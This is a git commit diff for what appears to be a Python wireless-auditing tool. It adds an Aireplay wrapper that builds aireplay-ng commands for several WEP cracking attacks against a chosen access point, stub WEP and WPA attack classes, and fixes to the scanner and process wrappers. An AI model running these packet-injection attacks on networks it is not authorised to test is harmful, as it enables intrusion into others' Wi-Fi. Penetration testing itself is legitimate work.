Started WEP attack support.
Fixing bugs in Airodump/Scanner.
This commit is contained in:
106
py/Aireplay.py
Normal file
106
py/Aireplay.py
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from Configuration import Configuration
|
||||||
|
from Process import Process
|
||||||
|
|
||||||
|
class WEPAttackType(object):
|
||||||
|
''' Enumeration of different WEP attack types '''
|
||||||
|
replay = 0
|
||||||
|
chopchop = 1
|
||||||
|
fragmentation = 2
|
||||||
|
caffelatte = 3
|
||||||
|
p0841 = 4
|
||||||
|
hirte = 5
|
||||||
|
|
||||||
|
|
||||||
|
class Aireplay(object):
|
||||||
|
def __init__(self):
|
||||||
|
self.pid = None # Process instance for aireplay-ng
|
||||||
|
self.attack_type = None
|
||||||
|
|
||||||
|
def run_wep_attack(self, target, attack_type):
|
||||||
|
''' Starts aireplay process '''
|
||||||
|
cmd = self.get_aireplay_command(target, attack_type)
|
||||||
|
if self.pid and self.pid.poll() != None:
|
||||||
|
# Aireplay is already running, kill it
|
||||||
|
self.pid.interrupt()
|
||||||
|
self.pid = Process(cmd, devnull=True)
|
||||||
|
|
||||||
|
def stop_wep_attack(self):
|
||||||
|
''' Stops aireplay process '''
|
||||||
|
if self.pid and self.pid.poll() != None:
|
||||||
|
self.pid.interrupt()
|
||||||
|
|
||||||
|
def get_aireplay_command(self, target, attack_type):
|
||||||
|
''' Generates aireplay command based on target and attack type '''
|
||||||
|
cmd = ['aireplay-ng']
|
||||||
|
cmd.append('--ignore-negative-one')
|
||||||
|
client_mac = None
|
||||||
|
if len(target.clients) > 0:
|
||||||
|
client_mac = target.clients[0].station
|
||||||
|
|
||||||
|
if attack_type == WEPAttackType.replay:
|
||||||
|
cmd.append('--arpreplay')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||||
|
if client_mac:
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
elif attack_type == WEPAttackType.chopchop:
|
||||||
|
cmd.append('--chopchop')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||||
|
cmd.extend(['-m', '60']) # Minimum packet length (bytes)
|
||||||
|
cmd.extend(['-n', '82']) # Maximum packet length
|
||||||
|
cmd.extend(['-F']) # Automatically choose first packet
|
||||||
|
if client_mac:
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
elif attack_type == WEPAttackType.fragmentation:
|
||||||
|
cmd.append('--fragment')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||||
|
cmd.extend(['-m', '100']) # Minimum packet length (bytes)
|
||||||
|
cmd.extend(['-F']) # Automatically choose first packet
|
||||||
|
if client_mac:
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
elif attack_type == WEPAttackType.caffelatte:
|
||||||
|
cmd.append('--caffe-latte')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
if client_mac:
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
elif attack_type == WEPAttackType.p0841:
|
||||||
|
cmd.append('--interactive')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
|
||||||
|
cmd.extend(['-t', '1'])
|
||||||
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||||
|
cmd.extend(['-F']) # Automatically choose first packet
|
||||||
|
cmd.extend(['-p', '0841'])
|
||||||
|
if client_mac:
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
elif attack_type == WEPAttackType.hirte:
|
||||||
|
if client_mac == None:
|
||||||
|
# Unable to carry out hirte attack
|
||||||
|
raise Exception("Client is required for hirte attack")
|
||||||
|
cmd.append('--cfrag')
|
||||||
|
cmd.extend(['-h', client_mac])
|
||||||
|
|
||||||
|
cmd.append(Configuration.interface)
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
Configuration.initialize()
|
||||||
|
|
||||||
|
a = Aireplay()
|
||||||
|
|
||||||
|
from Target import Target
|
||||||
|
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',')
|
||||||
|
t = Target(fields)
|
||||||
|
|
||||||
|
print ' '.join(a.get_aireplay_command(t, WEPAttackType.replay))
|
||||||
|
|
||||||
@@ -11,7 +11,7 @@ import os
|
|||||||
class Airodump(object):
|
class Airodump(object):
|
||||||
''' Wrapper around airodump-ng program '''
|
''' Wrapper around airodump-ng program '''
|
||||||
|
|
||||||
def __init__(self, interface=None, channel=None, encryption=None, wps=False):
|
def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'):
|
||||||
''' Constructor, sets things up '''
|
''' Constructor, sets things up '''
|
||||||
|
|
||||||
Configuration.initialize()
|
Configuration.initialize()
|
||||||
@@ -31,6 +31,9 @@ class Airodump(object):
|
|||||||
self.encryption = encryption
|
self.encryption = encryption
|
||||||
self.wps = wps
|
self.wps = wps
|
||||||
|
|
||||||
|
self.target_bssid = target_bssid
|
||||||
|
self.output_file_prefix = output_file_prefix
|
||||||
|
|
||||||
def __enter__(self):
|
def __enter__(self):
|
||||||
'''
|
'''
|
||||||
Setting things up for this context.
|
Setting things up for this context.
|
||||||
@@ -38,7 +41,7 @@ class Airodump(object):
|
|||||||
'''
|
'''
|
||||||
self.delete_airodump_temp_files()
|
self.delete_airodump_temp_files()
|
||||||
|
|
||||||
self.csv_file_prefix = Configuration.temp() + "airodump";
|
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
|
||||||
|
|
||||||
# Build the command
|
# Build the command
|
||||||
command = [
|
command = [
|
||||||
@@ -53,6 +56,8 @@ class Airodump(object):
|
|||||||
command.extend(['--enc', self.encryption])
|
command.extend(['--enc', self.encryption])
|
||||||
if self.wps:
|
if self.wps:
|
||||||
command.extend(['--wps'])
|
command.extend(['--wps'])
|
||||||
|
if self.target_bssid:
|
||||||
|
command.extend(['--bssid', self.target_bssid])
|
||||||
|
|
||||||
# Start the process
|
# Start the process
|
||||||
self.pid = Process(command, devnull=True)
|
self.pid = Process(command, devnull=True)
|
||||||
@@ -73,7 +78,7 @@ class Airodump(object):
|
|||||||
def delete_airodump_temp_files(self):
|
def delete_airodump_temp_files(self):
|
||||||
''' Deletes airodump* files in the temp directory '''
|
''' Deletes airodump* files in the temp directory '''
|
||||||
for fil in os.listdir(Configuration.temp()):
|
for fil in os.listdir(Configuration.temp()):
|
||||||
if fil.startswith('airodump'):
|
if fil.startswith(self.output_file_prefix):
|
||||||
os.remove(Configuration.temp() + fil)
|
os.remove(Configuration.temp() + fil)
|
||||||
|
|
||||||
def get_targets(self, wpa_wep_only=True):
|
def get_targets(self, wpa_wep_only=True):
|
||||||
@@ -81,7 +86,7 @@ class Airodump(object):
|
|||||||
# Find the .CSV file
|
# Find the .CSV file
|
||||||
csv_filename = None
|
csv_filename = None
|
||||||
for fil in os.listdir(Configuration.temp()):
|
for fil in os.listdir(Configuration.temp()):
|
||||||
if fil.startswith('airodump') and fil.endswith('csv'):
|
if fil.startswith(self.output_file_prefix) and fil.endswith('csv'):
|
||||||
# Found the file
|
# Found the file
|
||||||
csv_filename = Configuration.temp() + fil
|
csv_filename = Configuration.temp() + fil
|
||||||
break
|
break
|
||||||
|
|||||||
9
py/Attack.py
Normal file
9
py/Attack.py
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
class Attack(object):
|
||||||
|
def __init__(self, target):
|
||||||
|
self.target = target
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
raise Exception("Unimplemented method: run")
|
||||||
|
|
||||||
33
py/AttackWEP.py
Normal file
33
py/AttackWEP.py
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from Attack import Attack
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
class AttackWEP(Attack):
|
||||||
|
def __init__(self, target):
|
||||||
|
super(AttackWEP, self).__init__(target)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
start_time = time.time()
|
||||||
|
# First, start Airodump process
|
||||||
|
with Airodump(channel=target.channel,
|
||||||
|
target_bssid=self.target.bssid,
|
||||||
|
output_file_prefix='wep')
|
||||||
|
as airodump:
|
||||||
|
|
||||||
|
while len(airodump.targets) == 0:
|
||||||
|
# Target has not appeared in airodump yet
|
||||||
|
# Wait for it to appear
|
||||||
|
if int(time.time() - start_time) > 10:
|
||||||
|
# Target didn't appear after 10 seconds, drop out
|
||||||
|
print "Target did not show after 10 seconds, stopping"
|
||||||
|
return None
|
||||||
|
time.sleep(1)
|
||||||
|
continue
|
||||||
|
|
||||||
|
airodump_target = airodump.targets[0]
|
||||||
|
|
||||||
|
# Fake authenticate
|
||||||
|
#aireplay = Aireplay()
|
||||||
|
|
||||||
11
py/AttackWPA.py
Normal file
11
py/AttackWPA.py
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from Attack import Attack
|
||||||
|
|
||||||
|
class AttackWPA(Attack):
|
||||||
|
def __init__(self, target):
|
||||||
|
super(AttackWPA, self).__init__(target)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
raise Exception("TODO: Crack WPA")
|
||||||
|
|
||||||
@@ -36,9 +36,13 @@ class Process(object):
|
|||||||
|
|
||||||
def __init__(self, command, devnull=False):
|
def __init__(self, command, devnull=False):
|
||||||
''' Starts executing command '''
|
''' Starts executing command '''
|
||||||
|
|
||||||
if type(command) == str:
|
if type(command) == str:
|
||||||
# Commands have to be a list
|
# Commands have to be a list
|
||||||
command = command.split(' ')
|
command = command.split(' ')
|
||||||
|
|
||||||
|
self.command = command
|
||||||
|
|
||||||
self.out = None
|
self.out = None
|
||||||
self.err = None
|
self.err = None
|
||||||
if devnull:
|
if devnull:
|
||||||
@@ -49,6 +53,14 @@ class Process(object):
|
|||||||
serr = PIPE
|
serr = PIPE
|
||||||
self.pid = Popen(command, stdout=sout, stderr=serr)
|
self.pid = Popen(command, stdout=sout, stderr=serr)
|
||||||
|
|
||||||
|
def __del__(self):
|
||||||
|
'''
|
||||||
|
Ran when object is GC'd.
|
||||||
|
If process is still running at this point, it should die.
|
||||||
|
'''
|
||||||
|
if self.pid and self.pid.poll() == None:
|
||||||
|
self.interrupt()
|
||||||
|
|
||||||
def stdout(self):
|
def stdout(self):
|
||||||
''' Waits for process to finish, returns stdout output '''
|
''' Waits for process to finish, returns stdout output '''
|
||||||
self.get_output()
|
self.get_output()
|
||||||
@@ -60,7 +72,7 @@ class Process(object):
|
|||||||
return self.err
|
return self.err
|
||||||
|
|
||||||
def get_output(self):
|
def get_output(self):
|
||||||
''' Waits for process to finish, returns stdout & stderr '''
|
''' Waits for process to finish, sets stdout & stderr '''
|
||||||
if self.pid.poll() == None:
|
if self.pid.poll() == None:
|
||||||
self.pid.wait()
|
self.pid.wait()
|
||||||
if self.out == None:
|
if self.out == None:
|
||||||
@@ -116,3 +128,7 @@ if __name__ == '__main__':
|
|||||||
|
|
||||||
print '"reaver" exists:', Process.exists('reaver')
|
print '"reaver" exists:', Process.exists('reaver')
|
||||||
|
|
||||||
|
# Test on never-ending process
|
||||||
|
p = Process('yes')
|
||||||
|
# After program loses reference to instance in 'p', process dies.
|
||||||
|
|
||||||
|
|||||||
@@ -20,12 +20,29 @@ class Scanner(object):
|
|||||||
'''
|
'''
|
||||||
self.previous_target_count = 0
|
self.previous_target_count = 0
|
||||||
self.targets = []
|
self.targets = []
|
||||||
|
|
||||||
# Loads airodump with interface/channel/etc from Configuration
|
# Loads airodump with interface/channel/etc from Configuration
|
||||||
with Airodump() as airodump:
|
with Airodump() as airodump:
|
||||||
try:
|
try:
|
||||||
|
# Loop until interrupted (Ctrl+C)
|
||||||
while True:
|
while True:
|
||||||
client_count = sum([len(t.clients) for t in self.targets])
|
|
||||||
Color.p("\r {+} Scanning, found {G}%d{W} target(s), {G}%d{W} clients" % (len(self.targets), client_count))
|
if airodump.pid.poll() != None:
|
||||||
|
# Airodump process died!
|
||||||
|
raise Exception(
|
||||||
|
"Airodump exited unexpectedly! " +
|
||||||
|
"Command ran: %s"
|
||||||
|
% ' '.join(airodump.pid.command))
|
||||||
|
|
||||||
|
target_count = len(self.targets)
|
||||||
|
client_count = sum(
|
||||||
|
[len(t.clients)
|
||||||
|
for t in self.targets])
|
||||||
|
Color.p(
|
||||||
|
"\r {+} Scanning, " +
|
||||||
|
"found {G}%d{W} target(s)," % target_count +
|
||||||
|
" {G}%d{W} clients" % client_count +
|
||||||
|
". {O}Ctrl+C{W} when ready")
|
||||||
sleep(1)
|
sleep(1)
|
||||||
self.targets = airodump.get_targets()
|
self.targets = airodump.get_targets()
|
||||||
self.print_targets()
|
self.print_targets()
|
||||||
@@ -38,6 +55,7 @@ class Scanner(object):
|
|||||||
Prints targets to console
|
Prints targets to console
|
||||||
'''
|
'''
|
||||||
if len(self.targets) == 0:
|
if len(self.targets) == 0:
|
||||||
|
Color.p('\r')
|
||||||
return
|
return
|
||||||
|
|
||||||
if self.previous_target_count > 0:
|
if self.previous_target_count > 0:
|
||||||
@@ -56,10 +74,21 @@ class Scanner(object):
|
|||||||
|
|
||||||
def select_targets(self):
|
def select_targets(self):
|
||||||
''' Asks user to select target(s) '''
|
''' Asks user to select target(s) '''
|
||||||
|
|
||||||
|
if len(self.targets) == 0:
|
||||||
|
# TODO Print a more-helpful reason for failure.
|
||||||
|
# 1. Link to wireless drivers wiki,
|
||||||
|
# 2. How to check if your device supporst monitor mode,
|
||||||
|
# 3. Provide airodump-ng command being executed.
|
||||||
|
raise Exception("No targets found."
|
||||||
|
+ " You may need to wait longer,"
|
||||||
|
+ " or you may have issues with your wifi card")
|
||||||
|
|
||||||
self.print_targets()
|
self.print_targets()
|
||||||
input_str = '{+} Select target(s)'
|
input_str = '{+} Select target(s)'
|
||||||
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
||||||
input_str += ' separated by commas, or {G}all{W}: '
|
input_str += ' separated by commas, dashes'
|
||||||
|
input_str += ' or {G}all{W}: '
|
||||||
|
|
||||||
chosen_targets = []
|
chosen_targets = []
|
||||||
for choice in raw_input(Color.s(input_str)).split(','):
|
for choice in raw_input(Color.s(input_str)).split(','):
|
||||||
@@ -75,9 +104,15 @@ class Scanner(object):
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
Configuration.initialize()
|
||||||
# Example displays targets and selects the appropriate one
|
# Example displays targets and selects the appropriate one
|
||||||
s = Scanner()
|
try:
|
||||||
targets = s.select_targets()
|
s = Scanner()
|
||||||
|
targets = s.select_targets()
|
||||||
|
except Exception, e:
|
||||||
|
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
|
||||||
|
Configuration.exit_gracefully(0)
|
||||||
for t in targets:
|
for t in targets:
|
||||||
Color.p("{W}Selected: ")
|
Color.p("{W}Selected: ")
|
||||||
print t
|
print t
|
||||||
|
Configuration.exit_gracefully(0)
|
||||||
|
|||||||
@@ -115,6 +115,7 @@ class Target(object):
|
|||||||
result = '%s %s %s %s %s %s' % (essid, channel,
|
result = '%s %s %s %s %s %s' % (essid, channel,
|
||||||
encryption, power,
|
encryption, power,
|
||||||
wps, clients)
|
wps, clients)
|
||||||
|
result += Color.s("{W}")
|
||||||
return result
|
return result
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|||||||
Reference in New Issue
Block a user